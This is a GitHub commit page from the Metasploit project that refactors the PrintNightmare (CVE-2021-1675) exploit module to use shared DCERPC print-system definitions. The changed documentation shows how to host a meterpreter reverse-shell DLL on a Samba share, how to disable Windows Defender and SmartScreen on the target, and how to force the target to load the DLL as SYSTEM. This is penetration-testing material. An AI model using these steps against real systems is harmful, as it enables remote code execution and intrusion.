Skip to content

Commit fa849e5

Browse files
Land #16137, Update PrintNightmare to use the moved DCERPC definitions
2 parents 4294dcb + f99438b commit fa849e5

File tree

2 files changed

+12
-165
lines changed

2 files changed

+12
-165
lines changed

documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,14 +15,14 @@ request, resulting in remote code execution as NT AUTHORITY\SYSTEM.
1515
1. `sudo cp -pf /etc/samba/smb.conf /etc/samba/smb.conf.bak` to backup your existing config.
1616
1. `sudo mkdir /var/public`
1717
1. Add the following into the end of the `/etc/samba/smb.conf` file:
18-
18+
1919
```
2020
[public]
2121
comment = Public Directories
2222
path = /var/public
2323
guest ok = Yes
2424
```
25-
25+
2626
1. Restart Samba with `sudo service smbd restart`.
2727
1. Generate your DLL and place the file under `/var/public`.
2828
@@ -51,6 +51,10 @@ request, resulting in remote code execution as NT AUTHORITY\SYSTEM.
5151
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sudo mv /home/gwillcox/payload.dll /var/public/payload.dll
5252
```
5353
54+
1. Disable Windows security options on the target
55+
1. Disable Windows Defender Real-time protection (Windows Security > Virus & threat protection > Virus & threat protection settings)
56+
1. Disable Windows Defender SmartScreen (Windows Security > Virus & threat protection > App & browser control)
57+
5458
1. Exploit the vulnerability to force the target to load the DLL payload
5559
1. From msfconsole
5660
1. Do: `use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare`

modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.rb

Lines changed: 6 additions & 163 deletions
Original file line numberDiff line numberDiff line change
@@ -7,170 +7,13 @@
77
require 'ruby_smb'
88
require 'ruby_smb/error'
99

10-
module PrintSystem
11-
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515
12-
UUID = '12345678-1234-abcd-ef00-0123456789ab'.freeze
13-
VER_MAJOR = 1
14-
VER_MINOR = 0
15-
16-
# Operation numbers
17-
RPC_ENUM_PRINTER_DRIVERS = 10
18-
RPC_GET_PRINTER_DRIVER_DIRECTORY = 12
19-
RPC_ADD_PRINTER_DRIVER_EX = 89
20-
21-
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b
22-
APD_STRICT_UPGRADE = 0x00000001
23-
APD_STRICT_DOWNGRADE = 0x00000002
24-
APD_COPY_ALL_FILES = 0x00000004
25-
APD_COPY_NEW_FILES = 0x00000008
26-
APD_COPY_FROM_DIRECTORY = 0x00000010
27-
APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000
28-
APD_COPY_TO_ALL_SPOOLERS = 0x00002000
29-
APD_INSTALL_WARNED_DRIVER = 0x00008000
30-
APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000
31-
32-
# [2.2.1.5.2 DRIVER_INFO_2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2)
33-
class DriverInfo2 < RubySMB::Dcerpc::Ndr::NdrStruct
34-
default_parameter byte_align: 4
35-
endian :little
36-
37-
ndr_uint32 :c_version
38-
ndr_wide_stringz_ptr :p_name
39-
ndr_wide_stringz_ptr :p_environment
40-
ndr_wide_stringz_ptr :p_driver_path
41-
ndr_wide_stringz_ptr :p_data_file
42-
ndr_wide_stringz_ptr :p_config_file
43-
end
44-
45-
class PDriverInfo2 < DriverInfo2
46-
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
47-
end
48-
49-
# [2.2.1.2.3 DRIVER_CONTAINER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/3a3f9cf7-8ec4-4921-b1f6-86cf8d139bc2)
50-
class DriverContainer < RubySMB::Dcerpc::Ndr::NdrStruct
51-
default_parameter byte_align: 4
52-
endian :little
53-
54-
ndr_uint32 :level, check_value: -> { [2].include?(value) }
55-
ndr_uint32 :tag
56-
choice :driver_info, selection: :level, byte_align: 4 do
57-
p_driver_info2 2
58-
end
59-
end
60-
61-
# [3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)
62-
class RpcAddPrinterDriverExRequest < BinData::Record
63-
attr_reader :opnum
64-
65-
endian :little
66-
67-
ndr_wide_stringz_ptr :p_name
68-
driver_container :p_driver_container
69-
ndr_uint32 :dw_file_copy_flags
70-
71-
def initialize_instance
72-
super
73-
@opnum = RPC_ADD_PRINTER_DRIVER_EX
74-
end
75-
end
76-
77-
# [3.1.4.4.8 RpcAddPrinterDriverEx (Opnum 89)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/b96cc497-59e5-4510-ab04-5484993b259b)
78-
class RpcAddPrinterDriverExResponse < BinData::Record
79-
attr_reader :opnum
80-
81-
endian :little
82-
83-
def initialize_instance
84-
super
85-
@opnum = RPC_ADD_PRINTER_DRIVER_EX
86-
end
87-
88-
uint32 :error_status
89-
end
90-
91-
# for RpcEnumPrinterDrivers and RpcGetPrinterDriverDirectory `BYTE*` fields
92-
class RprnByteArrayPtr < RubySMB::Dcerpc::Ndr::NdrConfArray
93-
default_parameters type: :ndr_uint8
94-
extend RubySMB::Dcerpc::Ndr::PointerClassPlugin
95-
end
96-
97-
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
98-
class RpcEnumPrinterDriversRequest < BinData::Record
99-
attr_reader :opnum
100-
101-
endian :little
102-
103-
def initialize_instance
104-
super
105-
@opnum = RPC_ENUM_PRINTER_DRIVERS
106-
end
107-
108-
ndr_wide_stringz_ptr :p_name
109-
ndr_wide_stringz_ptr :p_environment
110-
ndr_uint32 :level
111-
rprn_byte_array_ptr :p_drivers
112-
ndr_uint32 :cb_buf
113-
end
114-
115-
# [3.1.4.4.2 RpcEnumPrinterDrivers (Opnum 10)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/857d00ac-3682-4a0d-86ca-3d3c372e5e4a)
116-
class RpcEnumPrinterDriversResponse < BinData::Record
117-
attr_reader :opnum
118-
119-
endian :little
120-
121-
def initialize_instance
122-
super
123-
@opnum = RPC_ENUM_PRINTER_DRIVERS
124-
end
125-
126-
rprn_byte_array_ptr :p_drivers
127-
ndr_uint32 :pcb_needed
128-
ndr_uint32 :pc_returned
129-
ndr_uint32 :error_status
130-
end
131-
132-
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
133-
class RpcGetPrinterDriverDirectoryRequest < BinData::Record
134-
attr_reader :opnum
135-
136-
endian :little
137-
138-
def initialize_instance
139-
super
140-
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
141-
end
142-
143-
ndr_wide_stringz_ptr :p_name
144-
ndr_wide_stringz_ptr :p_environment
145-
ndr_uint32 :level
146-
rprn_byte_array_ptr :p_driver_directory
147-
ndr_uint32 :cb_buf
148-
end
149-
150-
# [3.1.4.4.4 RpcGetPrinterDriverDirectory (Opnum 12)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/9df11cf4-4098-4852-ad72-d1f75a82bffe)
151-
class RpcGetPrinterDriverDirectoryResponse < BinData::Record
152-
attr_reader :opnum
153-
154-
endian :little
155-
156-
def initialize_instance
157-
super
158-
@opnum = RPC_GET_PRINTER_DRIVER_DIRECTORY
159-
end
160-
161-
rprn_byte_array_ptr :p_driver_directory
162-
ndr_uint32 :pcb_needed
163-
ndr_uint32 :error_status
164-
end
165-
end
166-
16710
class MetasploitModule < Msf::Auxiliary
16811

16912
prepend Msf::Exploit::Remote::AutoCheck
17013
include Msf::Exploit::Remote::DCERPC
17114
include Msf::Exploit::Remote::SMB::Client::Authenticated
17215

173-
# PrintSystem = RubySMB::Dcerpc::PrintSystem
16+
PrintSystem = RubySMB::Dcerpc::PrintSystem
17417

17518
def initialize(info = {})
17619
super(
@@ -422,11 +265,11 @@ def self.read(data)
422265
header = DriverInfo2Header.read(data)
423266
new(
424267
header,
425-
RubySMB::Field::Stringz16.read(data[header.name_offset..-1]).encode('ASCII-8BIT'),
426-
RubySMB::Field::Stringz16.read(data[header.environment_offset..-1]).encode('ASCII-8BIT'),
427-
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..-1]).encode('ASCII-8BIT'),
428-
RubySMB::Field::Stringz16.read(data[header.data_file_offset..-1]).encode('ASCII-8BIT'),
429-
RubySMB::Field::Stringz16.read(data[header.config_file_offset..-1]).encode('ASCII-8BIT')
268+
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
269+
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
270+
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
271+
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
272+
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
430273
)
431274
end
432275
end

0 commit comments

Comments
 (0)